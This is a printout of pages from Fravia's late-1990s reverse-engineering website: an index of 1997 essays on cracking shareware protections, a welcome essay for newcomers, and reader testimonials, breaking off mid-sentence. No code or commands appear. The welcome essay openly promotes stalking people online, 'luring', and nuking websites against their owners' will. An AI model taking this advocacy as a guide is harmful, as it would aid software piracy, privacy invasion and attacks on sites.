+RCG ~ wi_rcg2.htm virtual devices proj_2 ~ fra_001F
97
cracking
28 May Use of the Win32
Saltine ~ salt0001.htm unass. ~ fra_0020
97 API
Networker, the
28 May
Hackmore Readrite ~ ntworker.htm mistery of the unass. ~ fra_0021
97
missing file
How to crack the
30 Jun
Croock ~ crook.htm "uncrackable" test4 unass. ~ fra_0022
97
by LordByte
30 Jun Cracking W32dasm
Frog's Print ~ frognew.htm proj_0 ~ fra_0023
97 Version 8.htm5
How to reverse
02 Jul engineer Eudora
TheChineese ~ eudorauk.htm unass. ~ fra_0024
97 301's three
protections
How to reverse
03 Jul engineer
TheChineese ~ chine2.htm unass. ~ fra_0025
97 SERV-U32 (FTP
Daemon)
Defeating Pete
03 Jul
Hackmore Readrite ~ hackm1.htm Norton's unass. ~ fra_0026
97
protections
04 Jul
ACP ~ acpnet.htm Cookies begone! proj 5 ~ fra_0027
97
05 Jul BoundsChecker
Harwi ~ bouche.htm proj 2 ~ fra_0028
97 time limit defeated
05 Jul Hex Workshop 32 proj 7
Aesculapius ~ aescul3.htm ~ fra_0029
97 v. 2.53 proj 1
05 Jul Claris Home Page
TheChineese ~ claris.htm proj 7 ~ fra_002A
97 version 2.0
SmartDraw for
05 Jul
Frog's Print ~ smartdr.htm Windows95, proj 7 ~ fra_002B
97
Version 3.11
07 Jul TimeLock32 v2.0 unass.
Riz la+ ~ rizla.htm ~ fra_002C
97 reverse engineering

http://www.instinct.org/fravia/aca100.htm (4 of 9) [2/7/2001 3:01:41 PM]


Academy 100

Reverse
08 Jul engineering Serif
ReZiDeNt ~ crackpp.htm unass. ~ fra_002D
97 PagePlus 4 Trial
Edition
Reverse
08 Jul engineering
Hackmore Readrite ~ ntsnocra.htm unass. ~ fra_002E
97 NetScanTool's
protection scheme
A pretty stupid
09 Jul
plushmm ~ stupi7.htm scheme: Spam proj 7 ~ fra_002F
97
Exterminator
Going undercover
10 Jul
+Yamato ~ going.htm and browsing on unass. ~ fra_0030
97
your own proxy
Cracking "Save
16 Jul
Zero ~ sdzero.htm disabled" proj 6 ~ fra_0031
97
protections
16 Jul A decompiler is
Zero ~ vbzero.htm proj 8 ~ fra_0032
97 enough!
Deeper WiniceNT
17 Jul
Birdy Harry ~ wi_birdy.htm cracking, working proj_2 ~ fra_0033
97
with HIEW
20 Jul A decompiler is
Frog's print ~ vb_frog.htm proj 8 ~ fra_0034
97 more than enough!
A tough protection
21 Jul
Aesculapius ~ aesc_adc.htm scheme: Advanced unass. ~ fra_0035
97
Disk Catalog
25 Jul Adobe's Pagemill
Kox ~ pagemill.htm unass. ~ fra_0036
97 Version 2
A good protection
25 Jul
+Sync ~ sync2.htm scheme: ZMUD unass. ~ fra_0037
97
4.62
How to crack
26 Jul Business Card
plushmm ~ plushm_2.htm unass. ~ fra_0038
97 Designer Plus
v5.00b
28 Jul Another "blacklist" proj 7
+SNikKkEL ~ snikkel.htm ~ fra_0039
97 protection
31 Jul Photoshop Filter
+daQ ~ daqnew.htm unass. ~ fra_003A
97 Hacking

http://www.instinct.org/fravia/aca100.htm (5 of 9) [2/7/2001 3:01:41 PM]


Academy 100

Short and effective


01 Aug
The Undertaker ~ underta1.htm Win95's Softice proj 2 ~ fra_003B
97
cracking
02 Aug Final WiniceNT
Bozo ~ bozo1.htm proj 2 ~ fra_003C
97 cracking
How to rip and
06 Aug
Teraphy ~ teraphy.htm assemble key unass. ~ fra_003D
97
generators
Commercial
06 Aug
Frog's Print ~ frogdigi.htm stupidity - proj 7 ~ fra_003E
97
Digimarc downfall
Hexpert32,
06 Aug
+daQ ~ daqtod.htm Cracking the tools proj 1 ~ fra_003F
97
of the trade
Winice 3.01
07 Aug time-stamp
ViceVersa+ ~ vicevers.htm proj 2 ~ fra_0040
97 encryption
algorithm
Same password
11 Aug
Plushmm ~ pluslazy.htm protection allover 4 unass. ~ fra_0041
97
targets
11 Aug Micro$oft bashing: proj 9
ViceVersa+ ~ vicever2.htm ~ fra_0042
97 Frontpage 97 beta
11 Aug Windows
iNCuBuS++ ~ incubus.htm unass. ~ fra_0043
97 Commander 3.02
+Sync's solution to
13 Aug
+Sync ~ solution.htm +Sync's difficult our prot ~ fra_0044
97
protection
The "Prefetch
13 Aug
Camel Eater ~ piq.htm Instruction Queue" our prot ~ fra_0045
97
idea
ASM Edit 1.82a,
14 Aug
madmax!/PC97 ~ asmedit1.htm protected mode unass. ~ fra_0046
97
cracking
Softwrapper: A
14 Aug commercial and
+Sync ~ wrapper.htm proj 7 ~ fra_0047
97 stupid encryption
scheme

http://www.instinct.org/fravia/aca100.htm (6 of 9) [2/7/2001 3:01:41 PM]


Academy 100

FrontPage 98
15 Aug English beta 1 for proj 9
Epic Lord ~ epic2.htm ~ fra_0048
97 Windows 95 & NT
4.0
15 Aug The Trojan horse
SiuL Hacky ~ siulha2.htm proj 9 ~ fra_0049
97 race has just started
15 Aug Cracking
iNCuBuS++ ~ cubus2.htm proj 7 ~ fra_004A
97 WinHacker95 2.0
How to register
17 Aug
Heres ~ heres1.htm HexWorkshop proj 1 ~ fra_004B
97
v2.52 (32bit)
Reverse
17 Aug
+Rcg ~ rcgreve1.htm engineering unass. ~ fra_004C
97
Windows 95 itself
Kremlin 1.1, a
17 Aug
Jon ~ jon1.htm stupidly protected proj 7 ~ fra_004D
97
encryption utility
17 Aug Cracking
FanTC ~ fantc1.htm proj 7 ~ fra_004E
97 Comments v1.3
19 Aug aUTOWINNET 95 unass.
xOANON ~ xoautow.htm ~ fra_004F
97 v4.0b
Cracking MS
FrontPage
19 Aug
+Sync ~ syncms1.htm 3.0.1.726 & MS proj 9 ~ fra_0050
97
Image Composer
1.5
19 Aug
x86 ~ x861.htm Cracking HEdit 2.0 proj 1 ~ fra_0051
97
How to install
19 Aug Soft-Ice 3.01
Heres ~ heres002.htm proj 2 ~ fra_0052
97 Win95 (trial
version)
20 Aug razzia's tutorial for proj 6
razzia ~ razzcripp.htm ~ fra_0053
97 crippled programs
21 Aug ULTRAEDIT-32
Aesculapius ~ ueditcrk.htm proj 1 ~ fra_0054
97 V. 4.40a
Reverse
22 Aug
ReZiDeNt ~ reziedi1.htm Engineering proj 1 ~ fra_0055
97
UltraEdit-32 4.40a

http://www.instinct.org/fravia/aca100.htm (7 of 9) [2/7/2001 3:01:41 PM]


Academy 100

22 Aug
Frog's Print ~ fp_melti.htm melted MeltICE proj 2 ~ fra_0056
97
22 Aug razzia's Tutorial on
razzia ~ razziak2.htm unass. ~ fra_0057
97 Key Generators (II)
CENTURY LAN
22 Aug ANALYZER VER unass.
The Undertaker ~ banda2.htm ~ fra_0058
97 1.22b [WIN95
VERSION]
27 Aug Cracking DNS
Hackmore Readrite ~ hackmo1.htm unass. ~ fra_0059
97 WORKSHOP
27 Aug PhotoVista v1.0
Nop ~ nop1.htm unass. ~ fra_005A
97 crack Step-by-Step
28 Aug EnTray-Vous,
Mammon_ ~ mammon1.htm proj 7 ~ fra_005B
97 Merci
Brief Tutorial on
28 Aug CD Access Based proj 4
Aesculapius ~ aescul5.htm ~ fra_005C
97 Protection Schemes
Under Windows
28 Aug Ulead PhotoImpact proj 7
PNA ~ pna1.htm ~ fra_005D
97 Trial 3.01
30 Aug A "Laying Eggs"
Kox ~ koxpara.htm unass. ~ fra_005E
97 target
31 Aug iniquity's inequality proj 7
Flipper ~ flipper1.htm ~ fra_005F
97 protection scheme
W32Dasm Version proj 0
01 Sep
PNA ~ pna2.htm 8.0 Save ~ fra_0060
97 proj 6
re-enabling
Dongle reverse
03 Sep
Zafer ~ zaferdon.htm engineering - proj 3 ~ fra_0061
97
HASP
03 Sep Novell Netware
The Undertacker ~ bandnov1.htm unass. ~ fra_0062
97 3.12
Cool 3D by Ulead -
03 Sep
Drlan ~ drlan1.htm up against nags and unass. ~ fra_0063
97
smears
04 Sep Taming Monsters,
fravia+ ~ tamimons.htm unass. C fra_0064
97 finding clowns

http://www.instinct.org/fravia/aca100.htm (8 of 9) [2/7/2001 3:01:41 PM]


Academy 100

no more banal
Above the first essays! 100 essays!
essays please

Go to the top of this database page

our protections programmer's corner our tools

homepage links anonymity +ORC javascript wars academy database


bots' wars tools cocktails antismut CGI-scripts search forms mail fravia+
Is reverse engineering legal?

(c) Fravia+ , +ReZiDeNt, Krugman, 1995, 1996, 1997, 1998. All rights reversed

http://www.instinct.org/fravia/aca100.htm (9 of 9) [2/7/2001 3:01:41 PM]


Required Essays for Beginners

+HCU: Academy of Reverse Engineering

Founded by +ORC in April 1996

Academy of reverse engineering


The Required Essays

(Required reading for newbies)

+HCU Database Navigation


ESSAYS 001-100 page (2 Mar 1997 - 4 Sep
The fundamental essays
1997)
ESSAYS 100-200 page (4 Sep 1997 - 28 Dec
The required reading for newbies essays
1997)
ESSAYS 200-300 page (28 Dec 1997 - 10 Jun
The beginner essays
1998)
ESSAYS 300-400 page (10 Jun 1998 - to
The intermediate essays
today)
The advanced essays

+HCU Papers Our tools Our protections


Programmers Corner Packers & Unpackers Unassigned
Project 0: Wdasm reversing Project 1: Hexeditors & co Project 2: Softice & Numega's
Project 5: Netscape
Project 3: Dongles cracking Project 4: CD-Rom faking
ameliorating

http://www.instinct.org/fravia/required.htm (1 of 2) [2/7/2001 3:01:44 PM]


Required Essays for Beginners

Project 7: Most stupid Project 8: VisualBasic


Project 6: Crippled targets
schemes cracking
Project 9: Micro$oft bashing

The essay database


Date Contributor Essay Description Project Reference
~ ~

If you think an essay


should belong here mail
Fravia+

Go to the top of this database page

our protections programmer's corner our tools

homepage links anonymity +ORC javascript wars academy database


bots' wars tools cocktails antismut CGI-scripts search forms mail fravia+
Is reverse engineering legal?

(c) Fravia+ , Krugman, 1995, 1996, 1997, 1998. All rights reversed

http://www.instinct.org/fravia/required.htm (2 of 2) [2/7/2001 3:01:44 PM]


newbies

A word to the confused ones


by Fravia
~
(July 1998)
~
While attending the Olympic games, Leon, prince of Phlius, asked Pythagoras how he would describe himself.
Pythagoras replied, 'I am a philosopher', but Leon had never heard that word before and asked him to explain.
"Life, prince Leon, may well be compared with these public games for in the vast
crowd assembled here some are attracted by the acquisition of gain, others are
led on by the hopes and ambitions of fame and glory. But among them there are a
few who have come to observe and to understand all that passes here."

Welcome, dear readers and visitors of this site, I'm sure that some of you will be a little
amazed, and confused, for the quantity (and if I dare say it, the quality and peculiarity) of the
information you'll find on my "pages of reverse engineering".

The structure of this site recalls the "climbing-descending" picture of Escher you'll be able to
see here: you should wander inside my site and peruse my pages at a leisurely pace, you'll
eventually understand its Moebius-like topology.

This site is mainly dedicated to a very noble (and fairly difficult) art: reverse engineering, i.e.
individuating and gathering "hidden" or "lost" data in a "backwards" approach: from finished
phenomena back to its hidden "code".

There are many forms of reverse engineering the world around you: semanthic studies, for
instance can be very useful (like rethoric) in order to "reverse engineer" a speech or a message
from somebody.
Although may be not as important as "industrial" reverse engineering, software reverse
engineering is a science in its own rights and my extraprofessional activity has always been
centered on the understanding of the "inner working" of the application I have used, in order to
modify and ameliorate them if necessary (sadly, it is indeed necessary most of the time)
One of the main "sections" of my site is consecrated to this endeavour.
Most people are interested in the specific reverse engineering of protection schemes, i.e. the
part of the software code that "protects" an application from being used fully, or for ever.
Indipendently from its "gray" legal meaning, this is a good choice indeed (even if my own
contributions are more oriented towards "general" software reverse engineering: my recent
essays about "filemon.exe" should allow you to reverse engineer almost every windows95
application) because it gives us the opportunity to take many talented people on the
bandwagon. Studying a subject in continue and relentless evolution (like protection schemes
are, for obvious commercial reasons) implies moreover a continued evolution of our own
techniques. You'll notice that we are already developing our own tools. The numerous
contributions you'll find in the "Academy" section have already improved our techniques and

http://www.instinct.org/fravia/newbies.htm (1 of 5) [2/7/2001 3:01:49 PM]


newbies

approaches (I myself gathered an incredible amount of knowledge). Such activities, as curious


as it may seem, are more useful than harmful for the shareware programmers, who have - until
now - protected their software in a miserable manner.
You may also notice, perusing the Academy, that we do not care much for the "kind" of
software used as target, which most of the time we don't need and don't use anyway, yet we
care very much for the "weirdness" and "subtilety" of the protection scheme itself.
There are some exceptions, though: the TOOLS we must use. The principal ones are Winice (a
powerful debugger), IDA 37 and Wdasm (two powerful disassemblers) and BRW (Borland
resources workshop, a collection of windows decompiling tools so powerful that its
development has been purposely "discontinued" a couple of years ago... and that's quite
interesting per se... speaking about our society "progress" and "development" :-(

Protection schemes reverse engineering was moreover a field dominated by +ORC, an half -
mythical being (there are on the Web sites that deal exclusively with the mystery that this
person represented). +ORC ("the old red cracker") was a Master Cracker and great Philosoph,
whose eclectic and now a little obsolete Tutorial you should by all means read (and head).
+ORC is a "general" reverse engineer, not only a cracker, and his "social" reverse engineering
studies are particularly beautiful. His reverse engineering of the barcodes (those little "stripes"
codes you can see on any object around you) is by many considered one of the masterpieces in
the whole history of "applied" reverse engineering.
+ORC was a mentor for many of us.

Anonymity on the web is another field where you can apply reverse engineering techniques of
various type. In this section fall also "stalking" (i.e. finding real information on people that are
on the web, behind all the "noise" they may have made); "luring" (i.e. trapping somebody on a
page that will reveal you some information on your target); "counter intelligence" (i.e.
intercepting messages on Usenet that are useful for you and that are being exchanged by people
you don't even know the name of) and many other interesting and very recent techniques that
you'll be able to learn on my site.

The search for information on the net is a science in its own rights, and there are many sites on
the web that deal with this subject. I try on my site to help you understand how to use
effectively the main search engines, and especially which ones to use for different endeavours
(there are interesting differences between them). You'll find also some elementary information
about "combing", i.e. gathering results that others have collected, via "top counter lists",
vigilant filter and usenet depots like Dejanews and e-mail query. A new searching technique:
klebing, i.e. 'reversing' a search, using the locations where the information seekers themselves
come from as possible source of valuable related information is also explained in deep. During
1998 I will begin a section on bots building since it is more and more evident that if you nead
real information you cannot rely on the commercial oriented search engines alone.

A section of my site has been consecrated to the struggle against commercial "smut sites":

http://www.instinct.org/fravia/newbies.htm (2 of 5) [2/7/2001 3:01:49 PM]


newbies

those sites that are increasingly swamping the Web offering extremely low level pornography
for money (I'm not a censor and I have nothing against nude pictures - if given away for free).
Indipendently from this specific struggle against smut, you'll be able to learn there some
rudiments of CGI-script reverse engineering, i.e. how to nuke a whole site on the web (given
some conditions) against the will of its owner.

On a similar "web-reversing" line you'll find on my site a section dedicated to Steganography,


the art of hiding a message inside a picture or a sound file, and a section dedicated to Javascript
tricks, i.e. tricks you can for instance use to block access to a part of your site. Both these
sections have been divided in a public accessible "elementary part" and in an "advanced part"
that will require a little work from your side, which is good, since my intent is to let you learn,
not to let you leech.

Microsoft is bashed quite oft on this site because we believe it is imposing a very poor
operating system to the whole world through money and bad concurrence practices, not
through intrinsic, "real", value. In fact all Microsoft programs are so bugged and unstable, as
you'll learn here on my pages, that one wonders about the mental sanity of people still happily
buying and using them.
Regarding Internet browsing, you'll find on this site some "snippets" and tricks that will allow
you to "shut out" from your pages (or completely nuke :-) anybody that uses Microsoft's
Internet Explorer instead of Netscape Navigator... of course this does not mean that we believe
Netscape to be a "good" society, not indeed... as soon as a "less commercial oriented"
alternative in the browser scene arised (Opera, a beautiful configurable, fast and relatively
small browser), we all jumped on it, forgetting Netscape and his awful bugs.

A small section of this site deals with an interesting problem: is software reverse engineering
actually legal? I had so many problems (on the net, at work, everywhere) that I wanted to
clarify this. The law differs between the USA, the European Union and Japan (obviously, since
the three have different economic interests in this field), and there are quite a lot of obscure and
pretty vague law formulations which need and deserve to be studied and translated into normal
language. Anyway -despite all crimoinalisation attempts, the days of the 'commercial'
copyright are already numbered.
See: reverse engineering (and mass team work for free) has ALREADY taken an enormous
importance for the developing of new products. No I'm not speaking only of the (very
important if slow) triumphing of free mighty Linux versus stupid buggy Windows. If you
watch the landscape now (Mid-1998), with Netscape decision to give the source code of its
main product Navigator, for free, to anybody who cares (copyleft instead of copyright), hoping
to push a 'mass team work' on the web to sink Micro$oft, it is absolutely obvious that
copyrights are nowadays HINDERING development instead of protecting it... laws and policy
makers have of course not noticed it yet... quite the contrary:
The last concerted moves all over the world towards an a priori criminalisation of any sort of
reverse engineering studies confirm also the danger that such knowledge represents for the

http://www.instinct.org/fravia/newbies.htm (3 of 5) [2/7/2001 3:01:49 PM]


newbies

political corrupt 'establishment'. Governments are among the most obvious puppets of the huge
corporations that now rule, and as an elementary exercise in 'reversing reality' you may also
easily note a not so curious corresponding development: while reverse engineering studies are
being criminalized, all forms of human exploitation (child labour, forced labour, even buying
and selling human beings) are being de-penalised and more and more allowed (and
media-hailed) in the name of the 'globalisation' of the 'free' markets... an hideous, commercial
oriented development, which all over the world has brought more mass impoverishment than
anything else before -bar wars- ever did.

Yes, understanding the world is far from easy... and the web does not help much: an ocean of
knowledge... about two centimeters deep! You'll find tons of useless information and frills
everywhere, but this will not help you to understand what is really happening. For that you will
have to learn how to "reverse" the messages you get... and I believe that the approach we are
using here (taking concrete small examples and applying 'scientific reversing' to them) may
deliver a very effective form of teaching for these purposes: you'll find it in the section that is
slowly "taking off", and that I personally love: the Reality cracking section of my site.
Ultimately I intend to leave the field of software reversing (busting protection schemes is
IMHO far too easy to represent a real challenge for advanced reversers, I personally will not
crack protection schemes any more) and concentrate on the three (related) fields of internet
searching, anonymity concerns and reality cracking. As far as I have any 'plans' for this
endeavour of mine, I intend to transform my site during 1998 more and more into an
'anti-advertisement' fortress: studying, understanding, reversing and ultimately countering all
the pavlovian tricks that advertisers are using all over the world to lobotomize human beings
into 'consumers'.
I will not be able to do all this without the help of the crackers, of the seekers and of all other
friends out there whose brain has not yet being reduced to mud by tv-commercials.

There are many pages on my site... you may peruse everything at will, you are welcome. You'll
also notice that my pages (with some exceptions) load very quickly because there are almost
NO pictures on them (nor frames of course): the contents, not the frills, make this site the
knowledge treasure it is intended to be.

Do not be scared, nor paralysed if you don't understand everything immediately, knowledge is
like one of the chill white wines bottled in the old lagoons I come from: you should sip it
slowly and knowingly, else it won't do you no good.

The following information about my site may also interest you:


The history of this site (and all censorship attempts I had to endure)
Some of the awards that this site has gained
Some public statistics of the accesses... only one entry of one of the main pages
and without mirrors, more detailed private statistics can be seen here

http://www.instinct.org/fravia/newbies.htm (4 of 5) [2/7/2001 3:01:49 PM]


newbies

The faq of this site (read the faq before writing to me!)
The help I need and that you could eventually give me.

homepage links search_forms +ORC counter measures tools javascript wars


reality cracking students' essays antismut CGI scripts cocktails
anonymity academy mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/newbies.htm (5 of 5) [2/7/2001 3:01:49 PM]


awards

(This above is an "award" made by Tapu :-)

And you may want to have a look at the award made by Master DaVinci as well

Comments and writings about Fravia's site

Fravia's awards
(I have decided to publish only one per month)

June 1996
Fravia's page of reverse engineering may have few links, but it's much more worth than tons of useless
pages and useless links
~
Computer Underground, June 1996, Pag.23

July 1996
"Le meilleur Didacticiel qui existe et de loin: +ORC Cracking Tutorial (En plus les leons sont rcentes
et il y en a costamment des nouvelles). Vous pouvez trouver les versions les plus rcentes sur la page de
Fravia (Meilleure page pour apprendre dplomber mon avis)"
~
Le hacking/cracking/phreaking pour les golios, July 1996, pag.3

August 1996
"Fravia's page of reverse engineering is a real goldmine for newbyes"
~
Internet surfing, August 1996, Insert "Hackingworld", Pag.2

September 1996
"Let's end by saying that Fravia's page gave best performance on information in relation to spending
money for internet account and time"

http://www.instinct.org/fravia/awards.htm (1 of 8) [2/7/2001 3:02:00 PM]


awards

~
Christian Teroerde, "On the net", September 1996, Pag.17

October 1996
Amazing page: Fravia's page of reverse engineering at... will help your journey to the land beyond
trivial surfing
~
Nexor (uk), "Net Juwels", October 1996, Page 3

November 1996
"The material on Fravia's page of reverse engineering is brought together into a coherent whole that is
very rare. Finding this page is like finding a single, brilliant diamond among thousands of common
stones"
~
Kevin Lee Legge, "Review of the Web", November 1996, Page 11

December 1996
"The information on Fravia's site is fantastic. It has really helped me much to understand the "inner
workings" of this hunk of metal and silicon in front of me.
~
M. A. Kedfrog "A 1996 Insider report", December 1996, Page 2

January 1997
Fravia's page of reverse engineering quoted as The Best the
Web has To Offer at http://www.x1.net:80/~core/riotlynx.html :-)

February 1997
"I stumbled across your site while looking for information on 8086 disassemblers. All I can say is that it's
by far the most interesting and useful creation I've ever come across. We're cancelling my wife's
Compuserve account in your honor"
~
johnb(at)interlog(point)com, February 1997

March 1997
"I don't really know how I stumbled onto Fravia's page of reverse engineering. I spent the best part of
the day with my mouth open. I have found my Shan-gri-la"
~
Gerald Hartig, "Perusing the dark sides", Webintern N.52, March 1997

April 1997

http://www.instinct.org/fravia/awards.htm (2 of 8) [2/7/2001 3:02:00 PM]


awards

"... Fravia provides this excellent web page for those of us who wish to learn more about the Internet we
live in"
~
T. Oadlip, "Catching trends", PC-Web N.11, April 1997, p.27

May 1997
"Now, your site means a lot to me and I can learn something new there every time I visit. Thank you for
maintaining it for so long, even in the face of censorship.
~
saltine(at)anon(point)nymserver(point)com, May 1997

June 1997
"...I have learned enough on your pages to stop the lamers from hacking my code, and I don't care how
long they want to try. If they hack it, I will just make it more secure."
~
73553(point)3111(at)compuserve(point)com, June 1997

July 1997
...Fravia should be aware of the fact that he's loosing good money: I've never had such a "high" perusing
a site without paying for it!
~
Direct PC World, Issue 134, page 16, July 1997

August 1997
"...I just wanted to let you know that the work you are doing is appreciated. I must admit that I am some
what of a lamer... you know, one of those stupid programmers, but I am in the process of changing that
~
Mike Coker, 17 August 1997

September 1997
"Hey. Nice reverse engineering page. I saw the thing on Kremlin... I'm the author of Kremlin! Oops!
Well, I guess next time I'll spend more time on the protection scheme -- I concentrated on making a good
program, not making a good protection scheme. Kremlin 2.0 will be really cool and will, now, have
better security features and won't be as stupid"
~
Mark Rosen, Mach5 Software, http://www.mach5.com/, 30 September 1997

http://www.instinct.org/fravia/awards.htm (3 of 8) [2/7/2001 3:02:00 PM]


awards

October 1997
"Fravia's page of reverse engineering at... has been named Best of the Web in the Computing Channel by
the editors of Snap! Online. (http://www.snap.com) In order to find your review, submit a search for your
site in the channel listed above. Then click on #2: Web Sites; you'll find your site listed in the Best of the
Web section. Being named with the Best of the Web designation allows you access to the Snap! Online
"Best of the Web" logo, which you can merchandise in many different ways. One of the easiest ways to
gain recognition of your "Best of the Web" status..."
~
Vin Diec vind(at)cnet(point)com, 31 Oct 1997

Typical bogus award, I publish this only in order to put all of you on guard: there are more and more
small organisations that practicize what I would call "reverse awarding": they are not very important and
they try to ACQUIRE importance (and hits) finding some gullible webmaster ready to publish their logos
in good position on his site (which I of course will not do: quelle vulgarit... besides, this logo is not even
aesthetically appealing). I will probably loose this "Best of the Web" award, after publishing these lines,
yet I got so many other that I could not care less :-) "merchandise"... what for an awful attitude!
What can you learn from this? Quite a lot! As soon as you see a page that has lot of counters and "awards
logo" in 'pole position', (as opposed to hide them the more discretely possible), you know that you can
immediatly point your browser elsewhere... it's an important signal, like the so-called "gold" versions of
all major credit cards! In fact as soon as you see a guy using a "golden" credit card (proud and haughty to
have paid more for next to nothing :-) you can be sure that you have met an idiot

November 1997
"Fravia is one of my favorite sites of the Net.
His "reverse engineering" studies and exposes of embedded applets in these new languages are
invaluable. A few hours of reading his collection of studies gives folks like me a whole new perspective
on how to debug our own applications. Altough Fravia focuses on protection schemes, those are the only
ones widely distributed and available worldwide as study targets. My world has many many occurrences
of code taking wrong branches that has nothing to do with protection schemes... but the tracing
algorithms I learn from him are extremely useful to me in finding out, for instance, why a motor does not
turn like it was supposed to in a robotic welder, or how to port ancient software to use different
hardware, to substitute for hardware that is no longer available"
~
NODE (n_053), November 1997, pag. 12

December 1997
"School taught me how to write code... Fravia is teaching me how to make it work. One of the hardest
things I have ever had to do was to take someone else's code, sans support, sans source, sans even the
company who made the product ten years ago, and make it work.
Fravia+ is a priceless gem."
~
Gary: roawwr(at)pacbell(point)net

http://www.instinct.org/fravia/awards.htm (4 of 8) [2/7/2001 3:02:00 PM]


awards

January 1998
Dear fravia, thanks a lot for your site -- it is great! I've got a lot of lessons from here as a shareware
programmer. By the way, you host a very interesting article telling how to crack my own program
(Advanced Disk Catalog, old version, though) there (just to let you know who am I). The protection, of
course, was really stupid. I've improved it a little bit in the latest version (version 1.20, this is not an
invitation to crack it, btw :) Anyway, I wish you luck -- please continue your good work. I think every
shareware programmer should visit your site before releasing his/her "brand-new uncrackable
protection". Sincerely, Vladimir
~
Vladimir Yu. Katalov - http://www.elcomsoft.com

February 1998
...Once again, thanks for the great site. I'm a shareware author myself (CuteFTP), and I found a lot of
useful info already (and I only spent a day there!). Hope my next protection scheme will be tough enough
to last a few weeks, so that some of the lamers out there will get tired of waiting and actually pay for it :)
Cheers, Alex Kunadze
~
Alex Kunadze - rabbit(at)txdirect(point)net

March 1998
...Ce site est tout simplement fabuleux. Il est comme un phare guidant l'individu pris de libert au milieu
de cet ocan politico-financier que devient Internet. Il nous encourage tous entretenir notre identit
individuelle et rsister aux sirnes des multinationales-tats mercantiles. Comme on ne le dit pas assez
souvent, le savoir est la seule et unique chose qui donne le vrai pouvoir, celui d'tre soi mme,
indpendant et libre. L'accs au savoir est un droit inalinable et sa diffusion un devoir pour tout un
chacun. Merci encore fravia+ pour ce site unique en son genre...
~
tamaya.wanadoo.fr: "Les sites visiter"

April 1998
...as a shareware author, i'm pleased to find my programs cracked. And this is why: the little .COM app
cracks only work for specific versions and since i constantly put out new versions, the cracks are
obsolete before anyone can ever see them. you might want to mention that in your page somewhere.
Huge companies like M$ and Adobe can't put out 2 versions each week. small shareware authors can,
and i do. By flooding the world with dozens of different versions, an author can keep crackers very busy.
and, no i'm not putting out bug fixes, i respond to users and add features. and yes, i charge for my
programs, but not much: just enough to keep my web sites alive... now if i could just kill all the serial #
pages run by "StUpiD LoNeLy tEEnAgErs", my job would be much easier... ...
~

http://www.instinct.org/fravia/awards.htm (5 of 8) [2/7/2001 3:02:00 PM]


awards

chrisdl(at)pagesz(point)net
http://www.pagesz.net/~chrisdl

May 1998
...years ago when there were people with flair and a clue, like Pengo. Now the hacking man of the hour
is Kevin Mitnick, a seemingly smart man who went to jail after devoting an insane amount of effort to
annoying a computer security expert about his nationality. What really impressed me though was your
reality cracking section, it was hard for me to believe that you actually had Noam Chomsky essays on
your site. That's what it's all about, mixing political beliefs with computer knowledge, instead of wasting
your time getting "warez". Micheal Moore once talked about the potential of the Internet: that Internet
was for spreading ideas and educating people, but that it was bogged down with commercial garbage.
On a side note I find it amazing that your lessons explain things i assumed to be insanely technical in a
clear, humble, and relatively simple way...
~
dextro(at)rocketmail(point)com
(dextro)

see also -for the same month of may 1998- another, different yet related to the above, sort of " award"

June 1998
..the knowledge that fravia provides on his pages is important not just in itself but also because it teaches
people to use the wonderful power of the personal computer as a tool of liberation against the powerful
forces of coercion that try to restrict and control us every day everywhere, no matter if we are Asian or
American or European.
~
Jim Pannozzi (Mindspring's survey of the net - June 1998)

July 1998
...You don't know how good it felt to finally understand how ASM code, hex, and binary all fit together...
how it felt to crack my first program, a web spider called WebMirror... and how it felt when I turned
around and removed a CD check in a game, Fire Fight, within a half an hour.
I have gained from your pages a (somewhat) clear concept of how software protection works, and how to
defeat or implement it, and for that, as I'm sure I am not alone. I can never thank you enough. Please
keep your site up as long as you can, as a service to everybody.
~
Ryan Underwood (July 1998)

August 1998
... and least but not last I thank Fravia for convincing me to try the Opera Browser. I loaded the 3.5 beta
version and it works wonderfully. With it I will slowly recover from the MSIEx browsers' trauma. I think
also that the process of detoxication will continue and maybe, maybe, I will land finally on a non-MS
platform.

http://www.instinct.org/fravia/awards.htm (6 of 8) [2/7/2001 3:02:00 PM]


awards

~
Marek Eyal (PC Discover n.77, Jerusalem (Israel), August 1998)

September 1998
Stop wading through pages of low-level material to learn how to use the web! Fravia's pages of reverse
engineering offer an amazing compilation of individual workshops that will teach you some incredibly
fascinating new techniques and tricks.
~
The new web library (Norway, September 1998)

October 1998
One person's offerings to the world of hackers, crackers and phreakers (phreakers? sic!). Can you say
First Amendment? Much of what you'll find is definitely in a gray area legally. But it's OK to know how
to do certain things, as long as you don't actually do them.
~
The Snap Editorial Team (Snap Editors' Choice, October 1998)

A typical 'bogus' award, see the 'award' for October 1997, awarded to me by Snap as well exactly a year
ago... they seem to award 'crackers' every October... Often enough the result of this kind of awards are
sites with a plethora of nav, slow loading and mostly never seen before little banners without any
interest whatoever... if you click one of them you will be plonged in a banner-clicking and windows
spawning hell :-) As a matter of fact I have never found a site with many of these little private awards
that was really worth something... so maybe my site isn't worth that much either...

November 1998
"...I'm just writing to say how great your site is, (you already know how great it is, i can tell... hehe) and
to let you know that it has inspired me, and changed how I view the world, and the internet, for the
better. I can now find almost anything I want on the internet, and soon, probably absolutely anything. I
may not know how to reverse (yet) but Im starting to understand the "how, and why" of it."
~
The LateKnight

December 1998
Fravia is doing a great job and I don't think that people will ever appreciate it enough, he has my
respect.
He recently took a controversial position and there are some that believe he's betraying +ORC's ideas. I
don't think so. My idea of ZEN is 'feeling the code', and this is, in my opinion, what reverse engineering
is all about: achieving high level programming skills, 'feeling' the code... I don't see how anyone can
object to that, certainly not the great +ORC

http://www.instinct.org/fravia/awards.htm (7 of 8) [2/7/2001 3:02:00 PM]


awards

~
Harold Brinkhof, ASM newsletter, #7/12, december 1998

Feel free to read the history of my site!

homepage links anonymity academy +ORC tools counter measures Javascript stalking
students' essays cocktails search_forms CGI-script reversing mail_fravia
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/awards.htm (8 of 8) [2/7/2001 3:02:00 PM]


davinc1.htm:an "award" made by DaVinci

This "award" was made for me by Master


DaVinci, the greatest artist of the cracking
world, in late 1998. Since all readers
descending so deep inside my site are
automagically supposed to be able reversers
and therefore capable of reversing all
possible meanings of any images as well, I
won't bother to point out the Moebius tape,
nor the +HCU's cross in red email (because
I'm a 'red' reverser) on a golden subtle mace
that recalls the style of the juwels used by
the russian Zars... I just hope you'll have at
